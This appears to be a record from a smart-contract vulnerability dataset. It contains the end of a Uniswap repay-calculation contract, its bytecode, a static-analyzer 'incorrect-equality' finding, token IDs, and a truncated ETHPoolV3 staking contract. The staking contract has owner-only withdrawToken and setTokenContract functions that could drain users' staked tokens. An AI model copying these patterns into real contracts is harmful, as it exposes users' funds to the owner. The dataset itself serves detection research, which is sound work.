_path)[1]; } // Calculate amount of USD required to repay exact amount of token function calculateRepayExactOut(address token, uint outExact) external view returns (uint) { address[] memory _path = new address[](2); _path[0] = token; _path[1] = address(STABLE); return UNI.getAmountsIn(outExact, _path)[0]; } // calculate maximum amount of token repaid given USD input function calculateRepayMax(address token) external view returns (uint) { return calculateRepayMaxOf(msg.sender, token); } function calculateRepayMaxOf(address owner, address token) public view returns (uint) { return calculateRepayExactIn(token, IERC20(token).balanceOf(owner)); } // Calculate amount of token repaid given exact amount of USD input function calculateRepayExactIn(address token, uint inExact) public view returns (uint) { address[] memory _path = new address[](2); _path[0] = token; _path[1] = address(STABLE); return UNI.getAmountsOut(inExact, _path)[1]; } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80638de8bf0b11610097578063c0bdd2eb11610066578063c0bdd2eb14610565578063ccdb8ce8146105c7578063d4e2d29414610629578063fe193a1c146106e2576100f5565b80638de8bf0b146103db5780639dbd54141461043d5780639f02362e146104b5578063ab0ebd151461050d576100f5565b8063541bcb76116100d3578063541bcb761461025757806354d9f653146102a157806356f5cf41146102eb5780636f9b1d0a14610363576100f5565b80631bc59539146100fa5780631bf60b441461019357806345a31bcd146101f5575b600080fd5b61013c6004803603602081101561011057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061073a565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561017f578082015181840152602081019050610164565b505050509050019250505060405180910390f35b6101df600480360360408110156101a957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061074d565b6040518082815260200191505060405180910390f35b6102416004803603604081101561020b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109c8565b6040518082815260200191505060405180910390f35b61025f610c43565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102a9610c5b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61034d6004803603604081101561030157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c73565b6040518082815260200191505060405180910390f35b6103c56004803603604081101561037957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d3e565b6040518082815260200191505060405180910390f35b610427600480360360408110156103f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e1d565b6040518082815260200191505060405180910390f35b61049f6004803603604081101561045357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ee9565b6040518082815260200191505060405180910390f35b6104f7600480360360208110156104cb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fb4565b6040518082815260200191505060405180910390f35b61054f6004803603602081101561052357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fc7565b6040518082815260200191505060405180910390f35b6105b16004803603604081101561057b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fda565b6040518082815260200191505060405180910390f35b610613600480360360408110156105dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611255565b6040518082815260200191505060405180910390f35b61068b6004803603604081101561063f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114d0565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106ce5780820151818401526020810190506106b3565b505050509050019250505060405180910390f35b610724600480360360208110156106f857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a36565b6040518082815260200191505060405180910390f35b606061074633836114d0565b9050919050565b6000606060026040519080825280602002602001820160405280156107815781602001602082028038833980820191505090505b509050838160008151811061079257fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505073b5a137bb2ab7e317756c399fd94ca215cece81d6816001815181106107ee57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff16631f00ca7484836040518363ffffffff1660e01b81526004018083815260200180602001828103825283818151815260200191508051906020019060200280838360005b838110156108b2578082015181840152602081019050610897565b50505050905001935050505060006040518083038186803b1580156108d657600080fd5b505afa1580156108ea573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250602081101561091457600080fd5b810190808051604051939291908464010000000082111561093457600080fd5b8382019150602082018581111561094a57600080fd5b825186602082028301116401000000008211171561096757600080fd5b8083526020830192505050908051906020019060200280838360005b8381101561099e578082015181840152602081019050610983565b505050509050016040525050506000815181106109b757fe5b602002602001015191505092915050565b6000606060026040519080825280602002602001820160405280156109fc5781602001602082028038833980820191505090505b5090508381600081518110610a0d57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505073b5a137bb2ab7e317756c399fd94ca215cece81d681600181518110610a6957fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663d06ca61f84836040518363ffffffff1660e01b81526004018083815260200180602001828103825283818151815260200191508051906020019060200280838360005b83811015610b2d578082015181840152602081019050610b12565b50505050905001935050505060006040518083038186803b158015610b5157600080fd5b505afa158015610b65573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052506020811015610b8f57600080fd5b8101908080516040519392919084640100000000821115610baf57600080fd5b83820191506020820185811115610bc557600080fd5b8251866020820283011164010000000082111715610be257600080fd5b8083526020830192505050908051906020019060200280838360005b83811015610c19578082015181840152602081019050610bfe565b50505050905001604052505050600181518110610c3257fe5b602002602001015191505092915050565b737a250d5630b4cf539739df2c5dacb4c659f2488d81565b73b5a137bb2ab7e317756c399fd94ca215cece81d681565b6000610d36828373ffffffffffffffffffffffffffffffffffffffff166370a08231866040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610cf657600080fd5b505afa158015610d0a573d6000803e3d6000fd5b505050506040513d6020811015610d2057600080fd5b81019080805190602001909291905050506109c8565b905092915050565b6000610e158273b5a137bb2ab7e317756c399fd94ca215cece81d673ffffffffffffffffffffffffffffffffffffffff166370a08231866040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610dd557600080fd5b505afa158015610de9573d6000803e3d6000fd5b505050506040513d6020811015610dff57600080fd5b8101908080519060200190929190505050611255565b905092915050565b6000610ee173b5a137bb2ab7e317756c399fd94ca215cece81d673ffffffffffffffffffffffffffffffffffffffff1663ec342ad06040518163ffffffff1660e01b815260040160206040518083038186803b158015610e7c57600080fd5b505afa158015610e90573d6000803e3d6000fd5b505050506040513d6020811015610ea657600080fd5b8101908080519060200190929190505050610ed3610ec48686611a49565b85611ef190919063ffffffff16565b611f7790919063ffffffff16565b905092915050565b6000610fac828373ffffffffffffffffffffffffffffffffffffffff166370a08231866040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610f6c57600080fd5b505afa158015610f80573d6000803e3d6000fd5b505050506040513d6020811015610f9657600080fd5b8101908080519060200190929190505050610e1d565b905092915050565b6000610fc03383610ee9565b9050919050565b6000610fd33383610d3e565b9050919050565b60006060600260405190808252806020026020018201604052801561100e5781602001602082028038833980820191505090505b50905073b5a137bb2ab7e317756c399fd94ca215cece81d68160008151811061103357fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050838160018151811061107b57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff16631f00ca7484836040518363ffffffff1660e01b81526004018083815260200180602001828103825283818151815260200191508051906020019060200280838360005b8381101561113f578082015181840152602081019050611124565b50505050905001935050505060006040518083038186803b15801561116357600080fd5b505afa158015611177573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f8201168201806040525060208110156111a157600080fd5b81019080805160405193929190846401000000008211156111c157600080fd5b838201915060208201858111156111d757600080fd5b82518660208202830111640100000000821117156111f457600080fd5b8083526020830192505050908051906020019060200280838360005b8381101561122b578082015181840152602081019050611210565b5050505090500160405250505060008151811061124457fe5b602002602001015191505092915050565b6000606060026040519080825280602002602001820160405280156112895781602001602082028038833980820191505090505b50905073b5a137bb2ab7e317756c399fd94ca215cece81d6816000815181106112ae57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505083816001815181106112f657fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663d06ca61f84836040518363ffffffff1660e01b81526004018083815260200180602001828103825283818151815260200191508051906020019060200280838360005b838110156113ba57808201518184015260208101905061139f565b50505050905001935050505060006040518083038186803b1580156113de57600080fd5b505afa1580156113f2573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250602081101561141c57600080fd5b810190808051604051939291908464010000000082111561143c57600080fd5b8382019150602082018581111561145257600080fd5b825186602082028301116401000000008211171561146f57600080fd5b8083526020830192505050908051906020019060200280838360005b838110156114a657808201518184015260208101905061148b565b505050509050016040525050506001815181106114bf57fe5b602002602001015191505092915050565b60606000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561152e57600080fd5b505afa158015611542573d6000803e3d6000fd5b505050506040513d602081101561155857600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663e6a439058473b5a137bb2ab7e317756c399fd94ca215cece81d66040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b15801561162d57600080fd5b505afa158015611641573d6000803e3d6000fd5b505050506040513d602081101561165757600080fd5b8101908080519060200190929190505050905060008173ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156116b257600080fd5b505afa1580156116c6573d6000803e3d6000fd5b505050506040513d60208110156116dc57600080fd5b8101908080519060200190929190505050905060008473ffffffffffffffffffffffffffffffffffffffff166370a08231846040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561176e57600080fd5b505afa158015611782573d6000803e3d6000fd5b505050506040513d602081101561179857600080fd5b81019080805190602001909291905050509050600073b5a137bb2ab7e317756c399fd94ca215cece81d673ffffffffffffffffffffffffffffffffffffffff1663c23f001f88886040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b15801561187257600080fd5b505afa158015611886573d6000803e3d6000fd5b505050506040513d602081101561189c57600080fd5b8101908080519060200190929190505050905060026040519080825280602002602001820160405280156118df5781602001602082028038833980820191505090505b509450611907836118f98385611ef190919063ffffffff16565b611f7790919063ffffffff16565b8560008151811061191457fe5b60200260200101818152505073b5a137bb2ab7e317756c399fd94ca215cece81d673ffffffffffffffffffffffffffffffffffffffff166370a08231856040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156119b157600080fd5b505afa1580156119c5573d6000803e3d6000fd5b505050506040513d60208110156119db57600080fd5b81019080805190602001909291905050509150611a1383611a058385611ef190919063ffffffff16565b611f7790919063ffffffff16565b85600181518110611a2057fe5b6020026020010181815250505050505092915050565b6000611a423383610c73565b9050919050565b60008073b5a137bb2ab7e317756c399fd94ca215cece81d673ffffffffffffffffffffffffffffffffffffffff1663d49d51816040518163ffffffff1660e01b815260040160206040518083038186803b158015611aa657600080fd5b505afa158015611aba573d6000803e3d6000fd5b505050506040513d6020811015611ad057600080fd5b81019080805190602001909291905050509050600073b5a137bb2ab7e317756c399fd94ca215cece81d673ffffffffffffffffffffffffffffffffffffffff1663ec342ad06040518163ffffffff1660e01b815260040160206040518083038186803b158015611b3f57600080fd5b505afa158015611b53573d6000803e3d6000fd5b505050506040513d6020811015611b6957600080fd5b810190808051906020019092919050505090506000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015611bd857600080fd5b505afa158015611bec573d6000803e3d6000fd5b505050506040513d6020811015611c0257600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663e6a439058773b5a137bb2ab7e317756c399fd94ca215cece81d66040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b158015611cd757600080fd5b505afa158015611ceb573d6000803e3d6000fd5b505050506040513d6020811015611d0157600080fd5b810190808051906020019092919050505090506000611ebe611eaf73b5a137bb2ab7e317756c399fd94ca215cece81d673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015611d7657600080fd5b505afa158015611d8a573d6000803e3d6000fd5b505050506040513d6020811015611da057600080fd5b8101908080519060200190929190505050611ea1611e928a73b5a137bb2ab7e317756c399fd94ca215cece81d673ffffffffffffffffffffffffffffffffffffffff166370a08231896040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015611e4957600080fd5b505afa158015611e5d573d6000803e3d6000fd5b505050506040513d6020811015611e7357600080fd5b8101908080519060200190929190505050611fc190919063ffffffff16565b87611ef190919063ffffffff16565b611f7790919063ffffffff16565b8461204990919063ffffffff16565b90506000811415611ed55783945050505050611eeb565b838111611ee25780611ee4565b835b9450505050505b92915050565b600080831415611f045760009050611f71565b6000828402905082848281611f1557fe5b0414611f6c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061221a6021913960400191505060405180910390fd5b809150505b92915050565b6000611fb983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612093565b905092915050565b60008082840190508381101561203f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600061208b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612159565b905092915050565b6000808311829061213f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156121045780820151818401526020810190506120e9565b50505050905090810190601f1680156121315780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161214b57fe5b049050809150509392505050565b6000838311158290612206576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156121cb5780820151818401526020810190506121b0565b50505050905090810190601f1680156121f85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a265627a7a723158202bf1f7eb53f38d7d3f8c92338374ab85e28e91b199094497dc410aab9bf030ac64736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2629, 2063, 2692, 2278, 16932, 24096, 2581, 9024, 23777, 18939, 2546, 2692, 22932, 2278, 11387, 2475, 2497, 2487, 2094, 21926, 2546, 24096, 2692, 21057, 2546, 2620, 2094, 2629, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1019, 1012, 2459, 1025, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 1007, 1025, 3853, 4651, 1006, 4769, 7799, 1010, 21318, 3372, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 21447, 1006, 4769, 3954, 1010, 4769, 5247, 2121, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 1007, 1025, 3853, 14300, 1006, 4769, 5247, 2121, 1010, 21318, 3372, 3815, 1007, 6327, 5651, 1006, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,889
0x95e0dc3676e6f4950fe1167d8fac982947fbdb0b
// SPDX-License-Identifier: MIT pragma solidity 0.8.9; import "./IERC20.sol"; import "./IETHPool.sol"; import "./IStrongPool.sol"; import "./PlatformFees.sol"; import "./ReentrancyGuard.sol"; import "./SafeMath.sol"; contract ETHPoolV3 is IETHPool, IStrongPool, ReentrancyGuard, PlatformFees { using SafeMath for uint256; bool public initialized; uint256 public epochId; uint256 public totalStaked; mapping(address => bool) public poolContracts; mapping(uint256 => address) public stakeOwner; mapping(uint256 => uint256) public stakeAmount; mapping(uint256 => uint256) public stakeTimestamp; mapping(uint256 => bool) public stakeStatus; uint256 private stakeId; IERC20 private strongTokenContract; mapping(address => mapping(uint256 => uint256)) private _ownerIdIndex; mapping(address => uint256[]) private _ownerIds; event FallBackLog(address sender, uint256 value); event PaymentProcessed(address receiver, uint256 amount); function init( address strongAddress_, uint256 stakeFeeNumerator_, uint256 stakeFeeDenominator_, uint256 unstakeFeeNumerator_, uint256 unstakeFeeDenominator_, uint256 minStakeAmount_, uint256 stakeTxLimit_, address payable feeWallet_, address serviceAdmin_ ) external { require(!initialized, "ETH2.0Pool: init done"); PlatformFees.init( stakeFeeNumerator_, stakeFeeDenominator_, unstakeFeeNumerator_, unstakeFeeDenominator_, minStakeAmount_, stakeTxLimit_, feeWallet_, serviceAdmin_ ); ReentrancyGuard.init(); epochId = 1; stakeId = 1; strongTokenContract = IERC20(strongAddress_); initialized = true; } function stake(uint256 amount_) external payable nonReentrant override { require(amount_.mul(stakeFeeNumerator).div(stakeFeeDenominator) == msg.value, "ETH2.0Pool: Value can not be greater or less than staking fee"); stake_(amount_, msg.sender); require(strongTokenContract.transferFrom(msg.sender, address(this), amount_), "ETH2.0Pool: Insufficient funds"); processPayment(feeWallet, msg.value); } function mineFor(address userAddress_, uint256 amount_) external override { require(poolContracts[msg.sender], "ETH2.0Pool: Caller not authorised to call this function"); stake_(amount_, userAddress_); require(strongTokenContract.transferFrom(msg.sender, address(this), amount_), "ETH2.0Pool: Insufficient funds"); } function unStake(uint256[] memory stakeIds_) external payable nonReentrant override { require(stakeIds_.length <= stakeTxLimit, "ETH2.0Pool: Input array length is greater than approved length"); uint256 userTokens = 0; for (uint256 i = 0; i < stakeIds_.length; i++) { require(stakeOwner[stakeIds_[i]] == msg.sender, "ETH2.0Pool: Only owner can unstake"); require(stakeStatus[stakeIds_[i]], "ETH2.0Pool: Transaction already unStaked"); stakeStatus[stakeIds_[i]] = false; userTokens = userTokens.add(stakeAmount[stakeIds_[i]]); if (_ownerIdExists(msg.sender, stakeIds_[i])) { _deleteOwnerId(msg.sender, stakeIds_[i]); } emit Unstaked(msg.sender, stakeIds_[i], stakeAmount[stakeIds_[i]], block.timestamp); } if (userTokens.mul(unstakeFeeNumerator).div(unstakeFeeDenominator) != msg.value) { revert("ETH2.0Pool: Value can not be greater or less than unstaking fee"); } totalStaked = totalStaked.sub(userTokens); require(strongTokenContract.transfer(msg.sender, userTokens), "ETH2.0Pool: Insufficient Strong tokens"); processPayment(feeWallet, userTokens.mul(unstakeFeeNumerator).div(unstakeFeeDenominator)); } function stake_(uint256 amount_, address userAddress_) internal { require(_ownerIds[userAddress_].length < stakeTxLimit, "ETH2.0Pool: User can not exceed stake tx limit"); require(amount_ >= minStakeAmount, "ETH2.0Pool: Amount can not be less than minimum staking amount"); require(userAddress_ != address(0), "ETH2.0Pool: Invalid user address"); stakeOwner[stakeId] = userAddress_; stakeAmount[stakeId] = amount_; stakeTimestamp[stakeId] = block.timestamp; stakeStatus[stakeId] = true; totalStaked = totalStaked.add(amount_); if (!_ownerIdExists(userAddress_, stakeId)) { _addOwnerId(userAddress_, stakeId); } emit Staked(userAddress_, stakeId, amount_, block.timestamp); incrementStakeId(); } function addVerifiedContract(address contractAddress_) external anyAdmin { require(contractAddress_ != address(0), "ETH2.0Pool: Invalid contract address"); poolContracts[contractAddress_] = true; } function removeVerifiedContract(address contractAddress_) external anyAdmin { require(poolContracts[contractAddress_], "ETH2.0Pool: Contract address not verified"); poolContracts[contractAddress_] = false; } function getUserIds(address user_) external view returns (uint256[] memory) { return _ownerIds[user_]; } function getUserIdIndex(address user_, uint256 id_) external view returns (uint256) { return _ownerIdIndex[user_][id_]; } function processPayment(address payable recipient_, uint256 amount_) private { (bool sent,) = recipient_.call{value : amount_}(""); require(sent, "ETH2.0Pool: Failed to send Ether"); emit PaymentProcessed(recipient_, amount_); } function incrementStakeId() private { stakeId = stakeId.add(1); } function _deleteOwnerId(address owner_, uint256 id_) internal { uint256 lastIndex = _ownerIds[owner_].length.sub(1); uint256 lastId = _ownerIds[owner_][lastIndex]; if (id_ == lastId) { _ownerIdIndex[owner_][id_] = 0; _ownerIds[owner_].pop(); } else { uint256 indexOfId = _ownerIdIndex[owner_][id_]; _ownerIdIndex[owner_][id_] = 0; _ownerIds[owner_][indexOfId] = lastId; _ownerIdIndex[owner_][lastId] = indexOfId; _ownerIds[owner_].pop(); } } function _addOwnerId(address owner, uint256 id) internal { uint256 len = _ownerIds[owner].length; _ownerIdIndex[owner][id] = len; _ownerIds[owner].push(id); } function _ownerIdExists(address owner, uint256 id) internal view returns (bool) { if (_ownerIds[owner].length == 0) return false; uint256 index = _ownerIdIndex[owner][id]; return id == _ownerIds[owner][index]; } function setTokenContract(IERC20 tokenAddress) external { require(owner() == _msgSender(), "not owner"); strongTokenContract = tokenAddress; } function withdrawToken(IERC20 token, address recipient, uint256 amount) external { require(owner() == _msgSender(), "not owner"); require(token.transfer(recipient, amount)); } function getStrongTokenContract() external view returns (address) { return address(strongTokenContract); } fallback() external payable { emit FallBackLog(msg.sender, msg.value); } receive() external payable { emit FallBackLog(msg.sender, msg.value); processPayment(feeWallet, msg.value); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IETHPool { event Staked(address user, uint256 stakeId, uint256 amount, uint256 timestamp); event Unstaked(address user, uint256 stakeId, uint256 amount, uint256 timestamp); function stake(uint256 amount) external payable; function unStake(uint256[] memory stakeIds) external payable; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IStrongPool { function mineFor(address miner, uint256 amount) external; } // SPDX-License-Identifier: MIT pragma solidity ^ 0.8.0; import "./Ownable.sol"; import "./IPlatformFees.sol"; contract PlatformFees is Ownable, IPlatformFees { uint256 public stakeFeeNumerator; uint256 public stakeFeeDenominator; uint256 public unstakeFeeNumerator; uint256 public unstakeFeeDenominator; uint256 public minStakeAmount; uint256 public stakeTxLimit; address payable public feeWallet; bool private initDone; function init( uint256 stakeFeeNumerator_, uint256 stakeFeeDenominator_, uint256 unstakeFeeNumerator_, uint256 unstakeFeeDenominator_, uint256 minStakeAmount_, uint256 stakeTxLimit_, address payable feeWallet_, address serviceAdmin ) internal { require(!initDone, "PlatformFee: init done"); stakeFeeNumerator = stakeFeeNumerator_; stakeFeeDenominator = stakeFeeDenominator_; unstakeFeeNumerator = unstakeFeeNumerator_; unstakeFeeDenominator = unstakeFeeDenominator_; minStakeAmount = minStakeAmount_; stakeTxLimit = stakeTxLimit_; feeWallet = feeWallet_; Ownable.init(serviceAdmin); initDone = true; } function setStakeFeeNumerator(uint256 numerator_) external override anyAdmin { stakeFeeNumerator = numerator_; } function setStakeFeeDenominator(uint256 denominator_) external override anyAdmin { require(denominator_ > 0, "PlatformFee: denominator can not be zero"); stakeFeeDenominator = denominator_; } function setUnstakeFeeNumerator(uint256 numerator_) external override anyAdmin { unstakeFeeNumerator = numerator_; } function setUnstakeFeeDenominator(uint256 denominator_) external override anyAdmin { require(denominator_ > 0, "PlatformFee: denominator can not be zero"); unstakeFeeDenominator = denominator_; } function setMinStakeAmount(uint256 amount_) external override anyAdmin { require(amount_ > 0, "PlatformFee: amount can not be zero"); minStakeAmount = amount_; } function setStakeTxLimit(uint256 limit_) external override anyAdmin { require(limit_ > 0, "PlatformFee: limit can not zero"); stakeTxLimit = limit_; } function setFeeWallet(address payable feeWallet_) external override anyAdmin { require(feeWallet_ != address(0), "PlatformFee: address can not be zero address"); feeWallet = feeWallet_; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; bool private init_; function init()internal{ require(!init_, "ReentrancyGuard: init done"); _status = _NOT_ENTERED; init_ = true; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, 